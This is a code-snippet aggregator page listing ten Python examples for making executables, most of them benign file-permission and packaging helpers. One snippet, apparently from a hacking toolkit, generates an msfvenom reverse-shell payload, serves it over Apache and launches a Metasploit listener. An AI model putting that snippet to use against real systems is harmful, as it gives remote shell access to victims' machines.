10 examples of 'how to make exe file in python' in Python

Every line of 'how to make exe file in python' code snippets is scanned for vulnerabilities by our powerful machine learning engine that combs millions of open source libraries, ensuring your Python code is secure.

All examples are scanned by Snyk Code

By copying the Snyk Code Snippets you agree to
this disclaimer
851def install_exe(self, dist_filename, tmpdir):
852 # See if it's valid, get data
853 cfg = extract_wininst_cfg(dist_filename)
854 if cfg is None:
855 raise DistutilsError(
856 "%s is not a valid distutils Windows .exe" % dist_filename
857 )
858 # Create a dummy distribution object until we build the real distro
859 dist = Distribution(
860 None,
861 project_name=cfg.get('metadata','name'),
862 version=cfg.get('metadata','version'), platform=get_platform(),
863 )
864
865 # Convert the .exe to an unpacked egg
866 egg_path = dist.location = os.path.join(tmpdir, dist.egg_name()+'.egg')
867 egg_tmp = egg_path + '.tmp'
868 _egg_info = os.path.join(egg_tmp, 'EGG-INFO')
869 pkg_inf = os.path.join(_egg_info, 'PKG-INFO')
870 ensure_directory(pkg_inf) # make sure EGG-INFO dir exists
871 dist._provider = PathMetadata(egg_tmp, _egg_info) # XXX
872 self.exe_to_egg(dist_filename, egg_tmp)
873
874 # Write EGG-INFO/PKG-INFO
875 if not os.path.exists(pkg_inf):
876 f = open(pkg_inf,'w')
877 f.write('Metadata-Version: 1.0\n')
878 for k,v in cfg.items('metadata'):
879 if k != 'target_version':
880 f.write('%s: %s\n' % (k.replace('_','-').title(), v))
881 f.close()
882 script_dir = os.path.join(_egg_info,'scripts')
883 self.delete_blockers( # delete entry-point scripts to avoid duping
884 [os.path.join(script_dir,args[0]) for args in get_script_args(dist)]
885 )
886 # Build .egg file from tmpdir
887 bdist_egg.make_zipfile(
888 egg_path, egg_tmp, verbose=self.verbose, dry_run=self.dry_run
889 )
890 # install the .egg
891 return self.install_egg(egg_path, tmpdir)
Important

Use secure code every time

Secure your code as it's written. Use Snyk Code to scan source code in minutes – no build needed – and fix issues immediately. Enable Snyk Code

241def make_exe(fn):
242 if hasattr(os, 'chmod'):
243 oldmode = os.stat(fn).st_mode & 07777
244 newmode = (oldmode | 0555) & 07777
245 os.chmod(fn, newmode)
246 logger.info('Changed mode of %s to %s', fn, oct(newmode))
10def exe():
11 return (os.environ.get('BUP_MAIN_EXE') or
12 os.path.join(startdir, sys.argv[0]))
293def python():
294 lhost = raw_input("Enter LHOST: ")
295 lport = raw_input("Enter LPORT: ")
296 name = raw_input("Enter Payload Name: ")
297 os.system("msfvenom -p cmd/unix/reverse_python LHOST=%s LPORT=%s -f raw > /sdcard/EasY_HaCk/%s.py"%(lhost,lport,name))
298 clear()
299 print "Payload Successfuly Generated"
300 print "[1]-Do You Want To Start a listenner"
301 print "[2]-Do You Want To Start an IP Poisener "
302 li = raw_input()
303 if li == '2' :
304 os.system('rm $PREFIX/var/run/apache2/httpd.pid')
305 os.system('apachectl start')
306 os.system('cp /sdcard/EasY_HaCk/%s.py $PREFIX/share/apache2/default-site/htdocs/zaki/'%(name))
307 os.system('clear')
308 print "Your IP Successfully Poisened :\033[0m http://%s:8080/zaki/%s.py"%(lhost,name)
309 listen = """
310 use exploit/multi/handler
311 set PAYLOAD cmd/unix/reverse_python
312 set LHOST {0}
313 set LPORT {1}
314 exploit
315 """.format(lhost,lport)
316 with open('listener.rc', 'w') as f :
317 f.write(listen)
318 os.system('msfconsole -r listener.rc')
319
320 else :
321 listen = """
322 use exploit/multi/handler
323 set PAYLOAD cmd/unix/reverse_python
324 set LHOST {0}
325 set LPORT {1}
326 exploit
327 """.format(lhost,lport)
328 with open('listener.rc', 'w') as f :
329 f.write(listen)
330 os.system('msfconsole -r listener.rc')
94def make_executable(path):
95 mode = os.stat(path).st_mode
96 mode |= (mode & 0o444) >> 2 # copy R bits to X
97 os.chmod(path, mode)
89def exec_script(script_filename, env={}, *args):
90 """
91 Executes a Python script in an externally spawned interpreter, and
92 returns anything that was emitted in the standard output as a
93 single string.
94
95 To prevent missuse, the script passed to hookutils.exec_script
96 must be located in the `PyInstaller/utils/hooks/subproc` directory.
97 """
98 script_filename = os.path.basename(script_filename)
99 script_filename = os.path.join(os.path.dirname(__file__), 'subproc', script_filename)
100 if not os.path.exists(script_filename):
101 raise SystemError("To prevent missuse, the script passed to "
102 "hookutils.exec-script must be located in "
103 "the `PyInstaller/utils/hooks/subproc` directory.")
104
105 cmd = [script_filename]
106 cmd.extend(args)
107 return __exec_python_cmd(cmd, env=env)
53def get_exe_cmd(ex, nodist, nostream):
54 if req_version[os.path.basename(ex)] > daal_version:
55 return None
56 if any(ex.endswith(x) for x in ['batch.py', 'stream.py']):
57 return '"' + sys.executable + '" "' + ex + '"'
58 if not nostream and ex.endswith('streaming.py'):
59 return '"' + sys.executable + '" "' + ex + '"'
60 if not nodist and ex.endswith('spmd.py'):
61 if IS_WIN:
62 return 'mpiexec -localonly -n 4 "' + sys.executable + '" "' + ex + '"'
63 else:
64 return 'mpirun -n 4 "' + sys.executable + '" "' + ex + '"'
65 return None
48def is_exe(path):
49 """Test whether `path` describes an executable file."""
50 return os.path.isfile(path) and os.access(path, os.X_OK)
322def make_script(target,source,env):
323
324 s = source[0].abspath
325 d = target[0].abspath
326
327 etc = env.subst('$ETCINSTALLDIR')
328 f=open(d,'w')
329 f.write('#!/bin/sh\n')
330 f.write('export PI_PREFIX=%s\n' % env.subst('$INSTALLDIR'))
331 f.write('export PI_ROOT=%s\n' % env.subst('$INSTALLROOTDIR'))
332 f.write('export PI_RELEASE=%s\n' % env.subst('$PI_RELEASE'))
333 f.write('export PI_LIBPATH=%s\n' % env.subst('$LIBPATH'))
334 f.write('export USER=`basename $HOME`\n')
335 f.write('for script in %s/postflight-*\n' % (etc))
336 f.write('do\n')
337 f.write(' if test -x "$script"; then sh -c "$script"; fi\n')
338 f.write('done\n')
339 f.write('exit 0\n')
340 f.close()
341 os.chmod(d,0755)
319def GetExecutable( filename ):
320 if OnWindows():
321 return _GetWindowsExecutable( filename )
322
323 if ( os.path.isfile( filename )
324 and os.access( filename, EXECUTABLE_FILE_MASK ) ):
325 return filename
326 return None

Related snippets